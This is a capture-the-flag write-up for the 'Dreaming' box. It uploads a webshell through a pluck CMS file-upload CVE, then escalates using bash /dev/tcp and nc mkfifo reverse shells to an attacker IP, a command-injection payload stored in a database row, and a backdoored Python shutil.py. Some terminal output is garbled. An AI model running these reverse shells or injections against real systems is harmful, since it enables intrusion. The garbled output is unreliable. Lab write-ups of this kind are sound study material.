Dreaming: Solve the riddle that dreams have woven.

ip = "10.10.93.113"

First things first, lets see what running on this machine.

Here we get the default apache page, now we move on to dir enum to see what is lurking.

Dirbuster never disappoints, I get to see a list of dirs

It looks it is a pluck-4.7.13 CMS running. It has a CVE-2020-29607 of Remote File Upload

I downloaded the python script, it takes three arguments like seen below.

python 49909.py 10.10.93.113 80 password /app/pluck-4.7.13

```
L$ python 49909.py 10.10.93.113 80 password /app/pluck-4.7.13

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://10.10.93.113:80/app/pluck-4.7.13/files/shell.phar
```

After navigating to the link below, I get a web shell where I can run some commands. I will do it my way and create a reverse shell to my machine.

```
powny@shell:_/pluck-4.7.13/files# bash -i >& /dev/tcp/10.4.69.161/1423 0>&1

powny@shell:_/pluck-4.7.13/files# bash -i >& /dev/tcp/10.4.69.161/1423 0>&1

powny@shell:_/pluck-4.7.13/files# bash -i >& /dev/tcp/10.4.69.161/1423 0>&1

powny@shell:_/pluck-4.7.13/files# bash -c 'bash -i >& /dev/tcp/10.4.69.161/1423 0>&1

powny@shell:_/pluck-4.7.13/files# bash -c 'bash -i >& /dev/tcp/10.4.69.161/1423 0>&1'
```

I looked around the home folder where there are three users but I can't access due to insufficient permissions.. After much struggle I got two python scripts. I read one of the file where I got one of the users password.

```
www-data@dreaming:/home$ cd /opt
cd /opt
tst py
www-data@dreaming:/opt$ ls
ls
gebreams.py
test.py
www-data@dreaming:/opt$ cat test.py
cat test.py

at test.py

at
```

I am now able to ssh to the user lucien

```
*** System restart required ***
Last login: Mon Aug 7 23:34:46 2023 from 192.168.1.102
Luciengdreaming:-$ whoami
Lucien
Luciengdreaming:-$
```

Remember there were two files, in one i got the password, in the other its scripts that fetches data from the database. I have insuffient permissions to edit it but I can run it as user death.

I have a saying, history is for the beleivers, I get the creds for .mysql from .bash history

```
| lucienadreaming:/opt5 cat -/.bash_history | lucienadreaming:/opt5 cat -/.bash_history | lucien-plucien42DBPASSWORD | lucien-plucie
```

The idea is to insert into the table

```
INSERT INTO dreams (dreamer, dream) VALUES ('myDream', '$(rm /tmp/f;mkfifo
/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.4.69.161 1423 >/tmp/f)');
```

```
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```

Now we create a NC listener, run the script and hope we get a shell with user death

```
L$ mc -nlvp 1423
Listening on [amy] 1423 ...
connect to [lark-6.9.161] from (UNKNOWN) [10.10.108.135] 55168
$ whomai
death
$ python -c 'import pty;pty.spawn("/bin/bash")'
death@dreaning:/home/luciens |
```

We need to use pypy64 to check running processes

```
find / -type f -not -path "/proc/*" -not -path "/sys/*" -not -path
"/home/death/*" -writable 2>/dev/null
echo "import os;os.system(\"bash -c 'bash -i >& /dev/tcp/10.4.69.161/1290
0>&1'\")" > /usr/lib/python3.8/shutil.py
```

We create another nc listerner and we get a shell

```
| 1.5 mc = mlvp 1200 | 1.5 mc (UNHONOM) | 10.10.108.135| 4182 | 1.5 mc (UNHONOM) | 10.10.108.135| 4182 | 1.5 mc (UNHONOM) | 10.10.108.135| 4182 | 1.5 mc | 1
```